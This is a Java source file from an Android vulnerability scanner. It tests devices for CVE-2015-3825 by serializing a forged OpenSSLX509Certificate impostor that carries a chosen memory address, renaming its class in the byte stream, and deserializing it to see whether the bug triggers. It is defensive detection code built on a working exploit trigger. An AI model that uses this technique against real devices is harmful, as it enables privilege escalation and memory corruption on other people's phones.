package fuzion24.device.vulnerability.vulnerabilities.framework.serialization;
import android.content.Context;
import android.os.Build;
import android.util.Log;
import com.android.org.conscrypt.ZpenSSLX509Certificate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
//Some code was borrowed from AOSP
/*
* Copyright 2015 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import fuzion24.device.vulnerability.util.CPUArch;
import fuzion24.device.vulnerability.vulnerabilities.VulnerabilityTest;
/**
* Created by fuzion24 on 8/25/15.
*/
/*
Article:
https://securityintelligence.com/one-class-to-rule-them-all-new-android-serialization-vulnerability-gives-underprivileged-apps-super-status/
Paper:
https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
Patches:
https://android.googlesource.com/platform/external/conscrypt/+/cb573b28f1c0ec2456682569bd254cb34815659a%5E%21/#F0
*/
public class OpenSSLTransientBug implements VulnerabilityTest {
static {
System.loadLibrary("x509serializationhelper");
}
private native long getPositiveIntLocation();
private static final String TAG = "openSSLSerializationBug";
@Override
public String getCVEorID() {
return "CVE-2015-3825";
}
@Override
public List<CPUArch> getSupportedArchitectures() {
ArrayList<CPUArch> archs = new ArrayList<CPUArch>();
archs.add(CPUArch.ARM);
archs.add(CPUArch.ARM7);
archs.add(CPUArch.ARM8);
return archs;
}
@Override
public boolean isVulnerable(Context context) throws Exception {
/*
AOSP switched from bouncy castle to conscrypt in 4.4
This can be validated by looking at the preloaded classes:
https://github.com/android/platform_frameworks_base/blob/jb-mr2-release/preloaded-classes
https://github.com/android/platform_frameworks_base/blob/kitkat-release/preloaded-classes
Notice that conscrypt classes exist in KitKat 4.4 SDK 19
but not in Jellybean 4.3 MR SDK 18
*/
if(Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT){
return false;
}
Class openSSLX509CertificateClass = Class.forName("com.android.org.conscrypt.OpenSSLX509Certificate");
ObjectStreamClass clDesc = ObjectStreamClass.lookup(openSSLX509CertificateClass);
if (clDesc == null) {
//TODO this is bad
Log.d(TAG, "clDESC is null");
throw new Exception("clDesc is null for OpenSSLECPrivateKey");
}
// Set our fake class's serialization UID.
Field targetUID = ZpenSSLX509Certificate.class.getDeclaredField("serialVersionUID");
targetUID.setAccessible(true);
targetUID.set(null, clDesc.getSerialVersionUID());
final byte[] impostorBytes;
// Serialization
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
long decrementAddress = getPositiveIntLocation();
Log.d(TAG, "Decrement address: " + Long.toHexString(decrementAddress));
oos.writeObject(new ZpenSSLX509Certificate(decrementAddress - 0x10));
oos.close();
impostorBytes = baos.toByteArray();
}
// Fix class name
{
boolean fixed = false;
for (int i = 0; i < impostorBytes.length - 4; i++) {
if (impostorBytes[i] == 'Z' && impostorBytes[i + 1] == 'p'
&& impostorBytes[i + 2] == 'e' && impostorBytes[i + 3] == 'n') {
impostorBytes[i] = 'O';
fixed = true;
break;
}
}
}
// Deserialization
{
ByteArrayInputStream bais = new ByteArrayInputStream(impostorBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Object cert = ois.readObject();
ois.close();
Method m = openSSLX509CertificateClass.getDeclaredMethod("getContext");
m.setAccessible(true);
long ctx = (long) m.invoke(cert);
if(ctx == 0L){
return false;
}
}
return true;
}
}